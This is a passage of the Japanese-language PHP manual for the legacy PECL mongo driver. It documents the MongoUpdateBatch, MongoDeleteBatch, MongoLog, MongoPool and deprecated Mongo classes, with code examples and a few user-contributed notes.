final public MongoWriteBatch::execute ( array $write_options ) : array
}

目次

  • MongoUpdateBatch::__construct — Description

User Contributed Notes

k4ndar at yahoo dot com 02-Dec-2014 07:45
Complete example:

<?php
$mc = new MongoClient('localhost');
$collection = $mc->selectCollection('blog', 'users');

$update = array(
  'q' => array('foo' => 'bar'),
  'u' => array('$set' => array('foo' => 'baz')),
  'multi' => false,
  'upsert' => false,
);
$batch = new MongoUpdateBatch($collection);
$batch->add((object) $update);
$batch->execute();
jujhar at jujhar dot com 27-Aug-2014 11:10
Here's a stackoverflow link showing you how to use this BulkUpdate feature properly and format the updates you add to the class.

http://stackoverflow.com/questions/24753464/mongo-mass-update-to-lower-case

eg.
<?php
 $batch->add(
         array(
             "q" => array( '_id' => $doc['_id'] ),
             "u" => array(
                 '$set' => array(
                     'UserName' => strtolower($doc['UserName'])
                 )
             )
         )
     );
?>


Description

  • ≪ MongoUpdateBatch
  • MongoDeleteBatch ≫
  • PHP Manual
  • MongoUpdateBatch
  • Description

MongoUpdateBatch::__construct

(PECL mongo >= 1.5.0)

MongoUpdateBatch::__construct — Description

説明

public MongoUpdateBatch::__construct ( MongoCollection $collection , array $write_options = ? )

Constructs a batch of UPDATE operations. See MongoWriteBatch.

パラメータ

collection

バッチを実行する MongoCollection。確認付き書き込み をコピーして、デフォルトとして使います。$write_options で指定したり、MongoWriteBatch::execute() で指定したりすることもできます。

write_options

書き込みオプションの配列。

キー | 値
w (int|string) | WriteConcern の値
wtimeout (int) | レプリケーションを待つ時間の最大値
ordered | MongoDB にこのバッチを順番どおりに実行させるのかどうかを指定する。順番どおりの書き込みはシリアルに (一度に一行ずつ) 実行され、最初にエラーが発生した時点で実行は中断する。順番どおりでない書き込みはパラレルに実行され、エラーが発生しても処理は中断しない。デフォルトは true
j (bool) | プライマリーへのジャーナリングを待つかどうか。これは非推奨なので、かわりに確認付き書き込みを使うこと
fsync (bool) | プライマリーへの fsync を待つかどうか。これは非推奨なので、かわりに確認付き書き込みを使うこと

返り値

A new MongoUpdateBatch.

User Contributed Notes

There are no user contributed notes for this page.


The MongoDeleteBatch class

(PECL mongo >=1.5.0)

はじめに

Constructs a batch of DELETE operations. See MongoWriteBatch.

クラス概要

MongoDeleteBatch extends MongoWriteBatch {
/* メソッド */
public __construct ( MongoCollection $collection , array $write_options = ? )
/* 継承したメソッド */
public MongoWriteBatch::add ( array $item ) : bool
final public MongoWriteBatch::execute ( array $write_options ) : array
}

目次

  • MongoDeleteBatch::__construct — Description

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ MongoDeleteBatch
  • その他 ≫
  • PHP Manual
  • MongoDeleteBatch
  • Description

MongoDeleteBatch::__construct

(PECL mongo >= 1.5.0)

MongoDeleteBatch::__construct — Description

説明

public MongoDeleteBatch::__construct ( MongoCollection $collection , array $write_options = ? )

Constructs a batch of DELETE operations. See MongoWriteBatch.

パラメータ

collection

バッチを実行する MongoCollection。確認付き書き込み をコピーして、デフォルトとして使います。$write_options で指定したり、MongoWriteBatch::execute() で指定したりすることもできます。

write_options

書き込みオプションの配列。

キー | 値
w (int|string) | WriteConcern の値
wtimeout (int) | レプリケーションを待つ時間の最大値
ordered | MongoDB にこのバッチを順番どおりに実行させるのかどうかを指定する。順番どおりの書き込みはシリアルに (一度に一行ずつ) 実行され、最初にエラーが発生した時点で実行は中断する。順番どおりでない書き込みはパラレルに実行され、エラーが発生しても処理は中断しない。デフォルトは true
j (bool) | プライマリーへのジャーナリングを待つかどうか。これは非推奨なので、かわりに確認付き書き込みを使うこと
fsync (bool) | プライマリーへの fsync を待つかどうか。これは非推奨なので、かわりに確認付き書き込みを使うこと

返り値

A new MongoDeleteBatch.

User Contributed Notes

There are no user contributed notes for this page.


その他

目次

  • MongoLog
  • MongoPool
  • Mongo

User Contributed Notes

There are no user contributed notes for this page.


MongoLog クラス

(PECL mongo >=1.2.3)

はじめに

ログ機能を使うと、ドライバが何をしているのかに関する詳細な情報を取得できます。 ログ機能はデフォルトでは無効になっています。しかし、このクラスを使うと、 ドライバの特定の部分について指定したレベルでのログ出力を有効にできます。 たとえば次のように使います。

<?php

// すべてのログ出力を有効にします
MongoLog::setLevel(MongoLog::ALL); // すべてのログレベル
MongoLog::setModule(MongoLog::ALL); // ドライバのすべての部分

// レプリカセットのフェイルオーバーに関する重大なイベントを表示します
MongoLog::setLevel(MongoLog::INFO);
MongoLog::setModule(MongoLog::RS);

// レプリカセットと接続に関する info および diagnostic レベルのイベントを表示します
MongoLog::setLevel(MongoLog::INFO|MongoLog::FINE);
MongoLog::setModule(MongoLog::RS|MongoLog::CON);

?>

注意:

デフォルトでは、MongoLog はすべてのログメッセージを PHP の notice として発行します。 利用する SAPI によって、 このメッセージが stderr に送られる (CLI の場合) こともあれば、ウェブサーバーのエラーログに書き出されることもあります、 MongoLog を設定したのにログメッセージが期待通りに出力されない場合は、 error_reporting の設定に E_NOTICE が含まれているかどうかと、 display_errors が on になっているかどうかを確認しましょう。

クラス概要

MongoLog {
/* 定数 */
const int NONE = 0 ;
const int ALL = 31 ;
レベル定数 {
const int WARNING = 1 ;
const int INFO = 2 ;
const int FINE = 4 ;
モジュール定数 {
const int RS = 1 ;
const int POOL = 1 ;
const int CON = 2 ;
const int IO = 4 ;
const int SERVER = 8 ;
const int PARSE = 16 ;
/* フィールド */
private static int $callback ;
private static int $level ;
private static int $module ;
/* メソッド */
public static getCallback ( ) : callable
public static getLevel ( ) : int
public static getModule ( ) : int
public static setCallback ( callable $log_function ) : void
public static setLevel ( int $level ) : void
public static setModule ( int $module ) : void
}

定義済み定数

MongoLog 定数

これらの定数は MongoLog::setLevel() および MongoLog::setModule() の両方で使えます。

MongoLog::NONE
ログ出力を無効にする。
MongoLog::ALL
すべてをログ出力する。

MongoLog レベル定数

これらの定数は MongoLog::setLevel() で使えます。

MongoLog::WARNING
これは、何かおかしいけれども例外を発生させるほどではないできごと (復旧可能な接続エラーなど) を記録します。
MongoLog::INFO
管理者にとっては有用だと思われるが 特に注目には値しないできごと (オプションのパース、認証処理など) を記録します。
MongoLog::FINE
ドライバの動作における大半のできごと (サーバーの選択やソケット通信など) を記録します。記録対象のモジュールにもよりますが、 ログがノイズまみれになる可能性もあります。主な用途はデバッグです。

MongoLog モジュール定数

これらの定数は MongoLog::setModule() で使えます。

MongoLog::CON
接続のアクティビティを記録します。 新規接続の作成、認証、ping、タイムアウトなどです。
MongoLog::IO
データベースとのトラフィックを記録します。 ちょっとした小物プログラムでない限り、 これを有効にすると大量のログメッセージが記録されます。
MongoLog::PARSE
MongoClient を作成するときの、 接続文字列やオプションのパースを記録します。
MongoLog::POOL
かつては接続プールの活動を記録していました。今は非推奨で、 MongoLog::RS のエイリアスとなっています。
MongoLog::RS
レプリカセットの活動を記録します。フェイルオーバーや、 優先読み込みの選択などです。
MongoLog::SERVER
かつてはサーバーの状態の変更を記録していました。今は非推奨で、 MongoLog::RS のエイリアスとなっています。

変更履歴

バージョン | 説明
PECL mongo 1.3.0 | MongoLog::CON が追加され、 MongoLog::POOL と MongoLog::SERVER が非推奨になりました。

目次

  • MongoLog::getCallback — 以前に設定されたコールバック関数の名前を取得する
  • MongoLog::getLevel — 現在記録されているログレベルを取得する
  • MongoLog::getModule — 現在ログを記録しているモジュールを取得する
  • MongoLog::setCallback — イベントに対応して呼ばれるコールバック関数を設定する
  • MongoLog::setLevel — 記録するログレベルを設定する
  • MongoLog::setModule — ログに記録するモジュールを設定する

User Contributed Notes

There are no user contributed notes for this page.


以前に設定されたコールバック関数の名前を取得する

  • ≪ MongoLog
  • MongoLog::getLevel ≫
  • PHP Manual
  • MongoLog
  • 以前に設定されたコールバック関数の名前を取得する

MongoLog::getCallback

(PECL mongo >= 1.3.0)

MongoLog::getCallback — 以前に設定されたコールバック関数の名前を取得する

説明

public static MongoLog::getCallback ( ) : callable

コールバック関数を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

コールバック関数を返します。まだ設定されていない場合は false を返します。

注意

警告

この関数は、PHP 5.3.0 以降でしか使えません。

User Contributed Notes

There are no user contributed notes for this page.


現在記録されているログレベルを取得する

  • ≪ MongoLog::getCallback
  • MongoLog::getModule ≫
  • PHP Manual
  • MongoLog
  • 現在記録されているログレベルを取得する

MongoLog::getLevel

(PECL mongo >= 1.2.3)

MongoLog::getLevel — 現在記録されているログレベルを取得する

説明

public static MongoLog::getLevel ( ) : int

この関数を使うと、現在有効になっているログのレベルを調べることができます。 返される整数値をビット演算子で MongoLog レベル定数 と比較すると、ログレベルを判断できます。

<?php

if (MongoLog::getLevel() & MongoLog::FINE) {
    echo "大量のログ出力\n";
}

if (MongoLog::getLevel() ^ MongoLog::NONE) {
    echo "少なくとも少しだけはログ出力\n";
}

if (MongoLog::getLevel() == MongoLog::ALL) {
    echo "最高レベルのログ出力\n";
}

?>

パラメータ

この関数にはパラメータはありません。

返り値

現在記録されているログレベルを返します。

User Contributed Notes

There are no user contributed notes for this page.


現在ログを記録しているモジュールを取得する

  • ≪ MongoLog::getLevel
  • MongoLog::setCallback ≫
  • PHP Manual
  • MongoLog
  • 現在ログを記録しているモジュールを取得する

MongoLog::getModule

(PECL mongo >= 1.2.3)

MongoLog::getModule — 現在ログを記録しているモジュールを取得する

説明

public static MongoLog::getModule ( ) : int

この関数を使って、どのドライバモジュールをログに記録しているのかを調べます。 返される整数値をビット演算子で MongoLog モジュール定数 と比較すると、特定のモジュールのログが記録されているかどうかを判断できます。

<?php

if (MongoLog::getModule() & MongoLog::RS) {
    echo "レプリカセットを記録しています\n";
}

if (MongoLog::getModule() ^ MongoLog::NONE) {
    echo "何かを記録しています\n";
}

if ((MongoLog::getModule() & MongoLog::IO) == 0) {
    echo "入出力は記録していません\n";
}

?>

パラメータ

この関数にはパラメータはありません。

返り値

現在ログを記録しているモジュールを返します。

User Contributed Notes

There are no user contributed notes for this page.


イベントに対応して呼ばれるコールバック関数を設定する

  • ≪ MongoLog::getModule
  • MongoLog::setLevel ≫
  • PHP Manual
  • MongoLog
  • イベントに対応して呼ばれるコールバック関数を設定する

MongoLog::setCallback

(PECL mongo >= 1.3.0)

MongoLog::setCallback — イベントに対応して呼ばれるコールバック関数を設定する

説明

public static MongoLog::setCallback ( callable $log_function ) : void

この関数は、コールバック関数を設定します。これは、 のイベントに対応して、警告を発する代わりに呼ばれるものです。

パラメータ

log_function

イベントに対応して呼ばれるコールバック関数。 関数のプロトタイプは、次のようになります。

log_function ( int $module , int $level , string $message )
module
MongoLog モジュール定数 のいずれか。
level
MongoLog レベル定数 のいずれか。
message
ログメッセージ。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 MongoLog::setCallback() の例

<?php

function module2string($module)
{
    switch ($module) {
        case MongoLog::RS: return "REPLSET";
        case MongoLog::CON: return "CON";
        case MongoLog::IO: return "IO";
        case MongoLog::SERVER: return "SERVER";
        case MongoLog::PARSE: return "PARSE";
        default: return "UNKNOWN";
    }
}

function level2string($level)
{
    switch ($level) {
        case MongoLog::WARNING: return "WARN";
        case MongoLog::INFO: return "INFO";
        case MongoLog::FINE: return "FINE";
        default: return "UNKNOWN";
    }
}

function callback($module, $level, $message)
{
    echo date("Y-m-d H:i:s - ");
    printf("%s (%s): %s\n", module2string($module), level2string($level), $message);
}

MongoLog::setLevel(MongoLog::ALL);
MongoLog::setModule(MongoLog::ALL);

// ここでは関数名を指定します。しかし、無名関数など、任意の callable で動作します
MongoLog::setCallback("callback");

new MongoClient();
?>

上の例の出力は、 たとえば以下のようになります。

2013-07-09 09:41:42 - PARSE (INFO): Parsing localhost:27017
2013-07-09 09:41:42 - PARSE (INFO): - Found node: localhost:27017
2013-07-09 09:41:42 - PARSE (INFO): - Connection type: STANDALONE
2013-07-09 09:41:42 - CON (INFO): mongo_get_read_write_connection: finding a STANDALONE connection
2013-07-09 09:41:42 - CON (INFO): connection_create: creating new connection for localhost:27017
2013-07-09 09:41:42 - CON (INFO): stream_connect: Not establishing SSL for localhost:27017
2013-07-09 09:41:42 - CON (INFO): get_server_flags: start
2013-07-09 09:41:42 - CON (FINE): send_packet: read from header: 36
2013-07-09 09:41:42 - CON (FINE): send_packet: data_size: 95
2013-07-09 09:41:42 - CON (FINE): get_server_flags: setting maxBsonObjectSize to 16777216
2013-07-09 09:41:42 - CON (FINE): get_server_flags: setting maxMessageSizeBytes to 48000000
2013-07-09 09:41:42 - CON (INFO): is_ping: pinging localhost:27017;-;.;1543
2013-07-09 09:41:42 - CON (FINE): send_packet: read from header: 36
2013-07-09 09:41:42 - CON (FINE): send_packet: data_size: 17
2013-07-09 09:41:42 - CON (INFO): is_ping: last pinged at 1373359302; time: 0ms
2013-07-09 09:41:42 - REPLSET (FINE): finding candidate servers
2013-07-09 09:41:42 - REPLSET (FINE): - all servers
2013-07-09 09:41:42 - REPLSET (FINE): filter_connections: adding connections:
2013-07-09 09:41:42 - REPLSET (FINE): - connection: type: STANDALONE, socket: 42, ping: 0, hash: localhost:27017;-;.;1543
2013-07-09 09:41:42 - REPLSET (FINE): filter_connections: done
2013-07-09 09:41:42 - REPLSET (FINE): limiting by seeded/discovered servers
2013-07-09 09:41:42 - REPLSET (FINE): - connection: type: STANDALONE, socket: 42, ping: 0, hash: localhost:27017;-;.;1543
2013-07-09 09:41:42 - REPLSET (FINE): limiting by seeded/discovered servers: done
2013-07-09 09:41:42 - REPLSET (FINE): limiting by credentials
2013-07-09 09:41:42 - REPLSET (FINE): - connection: type: STANDALONE, socket: 42, ping: 0, hash: localhost:27017;-;.;1543
2013-07-09 09:41:42 - REPLSET (FINE): limiting by credentials: done
2013-07-09 09:41:42 - REPLSET (FINE): sorting servers by priority and ping time
2013-07-09 09:41:42 - REPLSET (FINE): - connection: type: STANDALONE, socket: 42, ping: 0, hash: localhost:27017;-;.;1543
2013-07-09 09:41:42 - REPLSET (FINE): sorting servers: done
2013-07-09 09:41:42 - REPLSET (FINE): selecting near servers
2013-07-09 09:41:42 - REPLSET (FINE): selecting near servers: nearest is 0ms
2013-07-09 09:41:42 - REPLSET (FINE): - connection: type: STANDALONE, socket: 42, ping: 0, hash: localhost:27017;-;.;1543
2013-07-09 09:41:42 - REPLSET (FINE): selecting near server: done
2013-07-09 09:41:42 - REPLSET (INFO): pick server: random element 0
2013-07-09 09:41:42 - REPLSET (INFO): - connection: type: STANDALONE, socket: 42, ping: 0, hash: localhost:27017;-;.;1543

注意

警告

この関数は、PHP 5.3.0 以降でしか使えません。

User Contributed Notes

There are no user contributed notes for this page.


記録するログレベルを設定する

  • ≪ MongoLog::setCallback
  • MongoLog::setModule ≫
  • PHP Manual
  • MongoLog
  • 記録するログレベルを設定する

MongoLog::setLevel

(PECL mongo >= 1.2.3)

MongoLog::setLevel — 記録するログレベルを設定する

説明

public static MongoLog::setLevel ( int $level ) : void

この関数で、どの程度の冗長性でログを記録するかとどんな活動を記録するかを設定します。 MongoLog レベル定数 をビット演算子でつなぐと、複数のレベルを指定できます。

<?php

// まず、ロギングモジュールを指定します
MongoLog::setModule(MongoLog::CON);

// すべてのレベルのログを記録します
MongoLog::setLevel(MongoLog::ALL);

// 警告と情報だけを記録します
MongoLog::setLevel(MongoLog::WARNING|MongoLog::INFO);

// 良好な活動以外はすべて記録します
MongoLog::setLevel(MongoLog::ALL & (~MongoLog::FINE));

?>

MongoLog::setModule() を使って、 ドライバのどの部分をログに記録するのかを選ばなければならないことに注意しましょう。

パラメータ

level

記録したいログのレベル。

User Contributed Notes

There are no user contributed notes for this page.


ログに記録するモジュールを設定する

  • ≪ MongoLog::setLevel
  • MongoPool ≫
  • PHP Manual
  • MongoLog
  • ログに記録するモジュールを設定する

MongoLog::setModule

(PECL mongo >= 1.2.3)

MongoLog::setModule — ログに記録するモジュールを設定する

説明

public static MongoLog::setModule ( int $module ) : void

この関数を使って、どのドライバモジュールをログに記録するのかを設定します。 MongoLog モジュール定数 をビット演算子でつなぐと、複数のモジュールを指定できます。

<?php

// まず、ログのレベルを指定します
MongoLog::setLevel(MongoLog::ALL);

// レプリカセットの活動を記録します
MongoLog::setModule(MongoLog::RS);

// レプリカセットと接続に関する活動を記録します
MongoLog::setModule(MongoLog::RS|MongoLog::CON);

// 入出力以外のすべての活動を記録します
MongoLog::setModule(MongoLog::ALL & (~MongoLog::IO));

?>

ログの記録を有効にするには MongoLog::setLevel() もコールする必要があることに注意しましょう。

パラメータ

module

ログを記録するモジュール。

User Contributed Notes

There are no user contributed notes for this page.


MongoPool クラス

(PECL mongo >= 1.2.3)

はじめに

警告

現在のリリース (1.3.0 以降) のドライバは、プーリングを実装しなくなりました。 このクラスやメソッドは廃止予定であり、使ってはいけません。

クラス概要

MongoPool {
/* メソッド */
public static getSize ( ) : int
public info ( ) : array
public static setSize ( int $size ) : bool
}

変更履歴

バージョン | 説明
PECL mongo 1.3.0 | この機能は削除され、単に非推奨の警告を出すだけで何もしないようになりました。 このクラスは過去との互換性のためだけに残されているものであり、近い将来削除されます。
PECL mongo 1.2.11 | E_DEPRECATED を発行するようになりました。

目次

  • MongoPool::getSize — Get pool size for connection pools
  • MongoPool::info — Returns information about all connection pools
  • MongoPool::setSize — Set the size for future connection pools

User Contributed Notes

There are no user contributed notes for this page.


Get pool size for connection pools

  • ≪ MongoPool
  • MongoPool::info ≫
  • PHP Manual
  • MongoPool
  • Get pool size for connection pools

MongoPool::getSize

(PECL mongo >= 1.2.3)

MongoPool::getSize — Get pool size for connection pools

説明

public static MongoPool::getSize ( ) : int

パラメータ

この関数にはパラメータはありません。

返り値

Returns the current pool size.

変更履歴

バージョン | 説明
PECL mongo 1.2.11 | Emits E_DEPRECATED when used.

例

例1 Changing pool size

This returns the default pool size, sets a new pool size, then prints the new pool size and the pool debugging information. Note that changing the pool size only affects new connection pools, it does not change old ones.

<?php

$connection = new Mongo("host1");

// pool size is -1
echo "pool size is: ".MongoPool::getSize()."\n";

echo "setting pool size to 200\n";

MongoPool::setSize(200);

// pool size is 200
echo "pool size is: ".MongoPool::getSize()."\n";

$conn2 = new Mongo("host2");

// remaining for host1 is -2
// remaining for host2 is 199
var_dump(Mongo::poolDebug());

?>

参考

  • MongoPool::setSize() - Set the size for future connection pools
  • MongoPool::info() - Returns information about all connection pools
  • The connection documentation.

User Contributed Notes

There are no user contributed notes for this page.


Returns information about all connection pools

  • ≪ MongoPool::getSize
  • MongoPool::setSize ≫
  • PHP Manual
  • MongoPool
  • Returns information about all connection pools

MongoPool::info

(PECL mongo >= 1.2.3)

MongoPool::info — Returns information about all connection pools

説明

public MongoPool::info ( ) : array

Returns an array of information about all connection pools.

パラメータ

この関数にはパラメータはありません。

返り値

Each connection pool has an identifier, which starts with the host. For each pool, this function shows the following fields:

in use

The number of connections currently being used by Mongo instances.

in pool

The number of connections currently in the pool (not being used).

remaining

The number of connections that could be created by this pool. For example, suppose a pool had 5 connections remaining and 3 connections in the pool. We could create 8 new instances of MongoClient before we exhausted this pool (assuming no instances of MongoClient went out of scope, returning their connections to the pool).

A negative number means that this pool will spawn unlimited connections.

Before a pool is created, you can change the max number of connections by calling Mongo::setPoolSize(). Once a pool is showing up in the output of this function, its size cannot be changed.

total

The total number of connections allowed for this pool. This should be greater than or equal to "in use" + "in pool" (or -1).

timeout

The socket timeout for connections in this pool. This is how long connections in this pool will attempt to connect to a server before giving up.

waiting

If you have capped the pool size, workers requesting connections from the pool may block until other workers return their connections. This field shows how many milliseconds workers have blocked for connections to be released. If this number keeps increasing, you may want to use MongoPool::setSize() to add more connections to your pool.

変更履歴

バージョン | 説明
PECL mongo 1.2.11 | Emits E_DEPRECATED when used.

User Contributed Notes

There are no user contributed notes for this page.


Set the size for future connection pools

  • ≪ MongoPool::info
  • Mongo ≫
  • PHP Manual
  • MongoPool
  • Set the size for future connection pools

MongoPool::setSize

(PECL mongo >= 1.2.3)

MongoPool::setSize — Set the size for future connection pools

説明

public static MongoPool::setSize ( int $size ) : bool

Sets the max number of connections new pools will be able to create.

パラメータ

size

The max number of connections future pools will be able to create. Negative numbers mean that the pool will spawn an infinite number of connections.

返り値

Returns the former value of pool size.

変更履歴

バージョン | 説明
PECL mongo 1.2.11 | Emits E_DEPRECATED when used.

例

例1 Mongo::setPoolSize() example

If you set the pool size to n and then create n connections, attempting to create an n+1st connection will throw a MongoConnectionException.

<?php

// only allow one connection to a server
MongoPool::setSize(1);

// creates one connection to localhost:27017
$m1 = new Mongo();

// attempt to create a second connection to localhost:27017
// only one connection is allowed, so this will throw an exception
$m2 = new Mongo();

?>

上の例の出力は、 たとえば以下のようになります。

Fatal error: Uncaught exception 'MongoConnectionException' with message 'no more connections in pool' in /path/to/php/script.php:10
Stack trace:
#0 /path/to/php/script.php(10): Mongo->__construct()
#1 {main}
  thrown in /path/to/php/script.php on line 10

参考

  • MongoPool::getSize() - Get pool size for connection pools
  • MongoPool::info() - Returns information about all connection pools
  • The connection documentation.

User Contributed Notes

There are no user contributed notes for this page.


Mongo クラス [非推奨]

(PECL mongo >=0.9.0)

はじめに

MongoDB と PHP を接続します。

このクラスは MongoClient を継承したもので、 いくつかの非推奨のメソッドが使えるようになります。

過去との互換性のために、コンストラクタの "w" 引数のデフォルトを 0 にしており、書き込み操作のときにサーバー側での確認を必要としません。 詳細な情報は MongoClient::__construct() を参照ください。

警告

このクラスはバージョン 1.3.0 で 非推奨 になりました。 このクラスの機能に頼ってはいけません。代わりに MongoClient を使いましょう。

クラス概要

Mongo extends MongoClient {
/* メソッド */
protected connectUtil ( ) : bool
public static getPoolSize ( ) : int
public getSlave ( ) : string
public getSlaveOkay ( ) : bool
public poolDebug ( ) : array
public static setPoolSize ( int $size ) : bool
public setSlaveOkay ( bool $ok = true ) : bool
public switchSlave ( ) : string
/* 継承したメソッド */
public close ( bool|string $connection = ? ) : bool
public connect ( ) : bool
public MongoClient::dropDB ( mixed $db ) : array
public __get ( string $dbname ) : MongoDB
public static MongoClient::getConnections ( ) : array
public getHosts ( ) : array
public MongoClient::getReadPreference ( ) : array
public MongoClient::getWriteConcern ( ) : array
public MongoClient::killCursor ( string $server_hash , int|MongoInt64 $id ) : bool
public MongoClient::listDBs ( ) : array
public MongoClient::selectCollection ( string $db , string $collection ) : MongoCollection
public MongoClient::selectDB ( string $name ) : MongoDB
public MongoClient::setReadPreference ( string $read_preference , array $tags = ? ) : bool
public MongoClient::setWriteConcern ( mixed $w , int $wtimeout = ? ) : bool
public __toString ( ) : string
}

目次

  • Mongo::connectUtil — データベースサーバーに接続する
  • Mongo::__construct — コンストラクタ
  • Mongo::getPoolSize — 接続プールのサイズを取得する
  • Mongo::getSlave — slaveOkay の読み込みに使われているアドレスを返す
  • Mongo::getSlaveOkay — この接続の slaveOkay 設定を取得する
  • Mongo::poolDebug — Returns information about all connection pools
  • Mongo::setPoolSize — Set the size for future connection pools
  • Mongo::setSlaveOkay — Change slaveOkay setting for this connection
  • Mongo::switchSlave — slaveOkay 読み込み用の新しいセカンダリを選ぶ

User Contributed Notes

markh789 at gmail dot com 07-Jan-2011 05:32
Here is a simple connection function :)

<?php
function MongoConnect($username, $password, $database, $host) {
    $con = new Mongo("mongodb://{$username}:{$password}@{$host}"); // Connect to Mongo Server
    $db = $con->selectDB($database); // Connect to Database
}
?>


データベースサーバーに接続する

  • ≪ Mongo
  • Mongo::__construct ≫
  • PHP Manual
  • Mongo
  • データベースサーバーに接続する

Mongo::connectUtil

(PECL mongo >=0.9.0)

Mongo::connectUtil — データベースサーバーに接続する

説明

protected Mongo::connectUtil ( ) : bool
警告

これは内部的な関数であり、決して 自分で呼んではいけません。

パラメータ

この関数にはパラメータはありません。

返り値

接続に成功したかどうかを返します。

エラー / 例外

データベースとの接続に失敗した場合に MongoConnectionException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


コンストラクタ

  • ≪ Mongo::connectUtil
  • Mongo::getPoolSize ≫
  • PHP Manual
  • Mongo
  • コンストラクタ

Mongo::__construct

(PECL mongo >=0.9.0)

Mongo::__construct — コンストラクタ

説明

public Mongo::__construct ( string $server = ? , array $options = ? )

このメソッドは、MongoClient のコンストラクタを上書きして 確認付き書き込みを無効にします。

パラメータについての説明は MongoClient::__construct() を参照ください。

返り値

警告

このクラスのインスタンスを作ると E_DEPRECATED が発生し、確認付き書き込みが無効になります。

かわりに MongoClient を使いましょう。

User Contributed Notes

guosheng1987 at 126 dot com 31-Jul-2012 03:05
This is my coding sample
new Mongo();
new Mongo('mongodb://localhost:27017');
when I tried the two above,My page throw an exception with ' operation now in progress '
then I changed the localhost to ip address
new Mongo('mongodb://127.0.0.1:27017');
It works well!
rob at limeworks dot com dot au 02-Sep-2011 02:14
Note that even if you authenticate with a database specific user during instantiation of the Mongo class, it's still necessary to select the database before you try and use it.

Might sound common sense, but hopefully it will help someone anyway :D
arie grapa 12-Apr-2011 04:49
you can set mongo.auto_reconnect=1 in php.ini to cause it to automatically reconnect. This might be the default in future versions
Arkadiy Kukarkin 06-May-2010 02:17
The behavior of persistent connections is somewhat mysterious, but it appears that they remain for the duration of the process with some internal timeout value, and not until the end of script execution as you might expect based on the wording here and in close().

That is, the connection will remain open even once every object that used it is out of scope and can be accessed again with the persist key. This is consistent with the way e.g. DBI does things, but still somewhat confusing when not made explicit. A related issue is that under certain conditions php seems to open multiple connections even using the same key, but that's more of a bug report.


接続プールのサイズを取得する

  • ≪ Mongo::__construct
  • Mongo::getSlave ≫
  • PHP Manual
  • Mongo
  • 接続プールのサイズを取得する

Mongo::getPoolSize

(PECL mongo >=1.2.0)

Mongo::getPoolSize — 接続プールのサイズを取得する

説明

public static Mongo::getPoolSize ( ) : int
警告

この機能は、バージョン 1.2.3 からは非推奨となります。 この機能に依存してはいけません。かわりに MongoPool::getSize() を使いましょう。

パラメータ

この関数にはパラメータはありません。

返り値

現在のプールのサイズを返します。

変更履歴

バージョン | 説明
PECL mongo 1.2.11 | E_DEPRECATED を発行するようになりました。

例

例1 プールサイズの変更

これは、デフォルトのプールのサイズを返してから新しいプールのサイズを設定し、 新しいプールのサイズとプールのデバッグ情報を表示します。 プールサイズの変更はそれ以降の新しい接続プールに対してのみ有効となり、 既存のプールのサイズは変わらないことに注意しましょう。

<?php

$connection = new Mongo("host1");

// プールサイズは -1
echo "プールサイズ: ".MongoPool::getSize()."\n";

echo "プールサイズを 200 に設定します\n";

Mongo::setPoolSize(200);

// プールサイズは 200
echo "プールサイズ: ".MongoPool::getSize()."\n";

$conn2 = new Mongo("host2");

// host1 の残りは -2
// host2 の残りは 199
var_dump(Mongo::poolDebug());

?>

参考

  • Mongo::setPoolSize() - Set the size for future connection pools
  • Mongo::poolDebug() - Returns information about all connection pools
  • 接続のドキュメント

User Contributed Notes

There are no user contributed notes for this page.


slaveOkay の読み込みに使われているアドレスを返す

  • ≪ Mongo::getPoolSize
  • Mongo::getSlaveOkay ≫
  • PHP Manual
  • Mongo
  • slaveOkay の読み込みに使われているアドレスを返す

Mongo::getSlave

(PECL mongo >=1.1.0)

Mongo::getSlave — slaveOkay の読み込みに使われているアドレスを返す

説明

public Mongo::getSlave ( ) : string

これは、現在読み込みに使っているセカンダリのアドレスを探します。 このメソッドは読み込み専用です。オブジェクトの内部状態は一切変更しません。

データベースへの接続を作成した時点では、 ドライバはまだどのセカンダリを使うのかを決めていません。 したがって、接続後にこの関数を実行したときには、たとえ利用可能なセカンダリがあったとしても null を返します。slaveOkay を設定したクエリを初めて実行したときに、 ドライバがこの接続で使うセカンダリを選びます。 それ以降は、この関数は選択したセカンダリを返すようになります。

読み込みのセカンダリへの分散についての情報は、このマニュアルの 問い合わせの節 を参照ください。

パラメータ

この関数にはパラメータはありません。

返り値

この接続が読み込みに使っているセカンダリのアドレスを返します。

レプリカセットへの接続ではない場合や接続がまだ初期化されていない場合は null を返します。

エラー / 例外

E_DEPRECATED が発生します。

返される結果はあまり役には立ちません。 というのも、二段階の選択手順でクエリやデータベースコマンドを実行するからです。

変更履歴

バージョン | 説明
PECL mongo 1.2.11 | E_DEPRECATED を発行するようになりました。

参考

  • MongoCursor::info() - カーソルの作成と走査に関する情報を取得する

User Contributed Notes

There are no user contributed notes for this page.


この接続の slaveOkay 設定を取得する

  • ≪ Mongo::getSlave
  • Mongo::poolDebug ≫
  • PHP Manual
  • Mongo
  • この接続の slaveOkay 設定を取得する

Mongo::getSlaveOkay

(PECL mongo >=1.1.0)

Mongo::getSlaveOkay — この接続の slaveOkay 設定を取得する

説明

public Mongo::getSlaveOkay ( ) : bool

読み込みのセカンダリへの分散についての情報は、このマニュアルの 問い合わせの節 を参照ください。

パラメータ

この関数にはパラメータはありません。

返り値

このインスタンスの slaveOkay の値を返します。

エラー / 例外

E_DEPRECATED が発生します。

変更履歴

バージョン | 説明
PECL mongo 1.2.11 | E_DEPRECATED を発行するようになりました。

参考

  • 優先読み込み
  • MongoClient::getReadPreference() - この接続の優先読み込みを取得する

User Contributed Notes

There are no user contributed notes for this page.


Returns information about all connection pools

  • ≪ Mongo::getSlaveOkay
  • Mongo::setPoolSize ≫
  • PHP Manual
  • Mongo
  • Returns information about all connection pools

Mongo::poolDebug

(PECL mongo >=1.2.0)

Mongo::poolDebug — Returns information about all connection pools

説明

public Mongo::poolDebug ( ) : array
警告

This feature has been DEPRECATED as of version 1.2.3. Relying on this feature is highly discouraged. Please use MongoPool::info() instead.

Returns an array of information about all connection pools.

パラメータ

この関数にはパラメータはありません。

返り値

Each connection pool has an identifier, which starts with the host. For each pool, this function shows the following fields:

in use

The number of connections currently being used by MongoClient instances.

in pool

The number of connections currently in the pool (not being used).

remaining

The number of connections that could be created by this pool. For example, suppose a pool had 5 connections remaining and 3 connections in the pool. We could create 8 new instances of MongoClient before we exhausted this pool (assuming no instances of MongoClient went out of scope, returning their connections to the pool).

A negative number means that this pool will spawn unlimited connections.

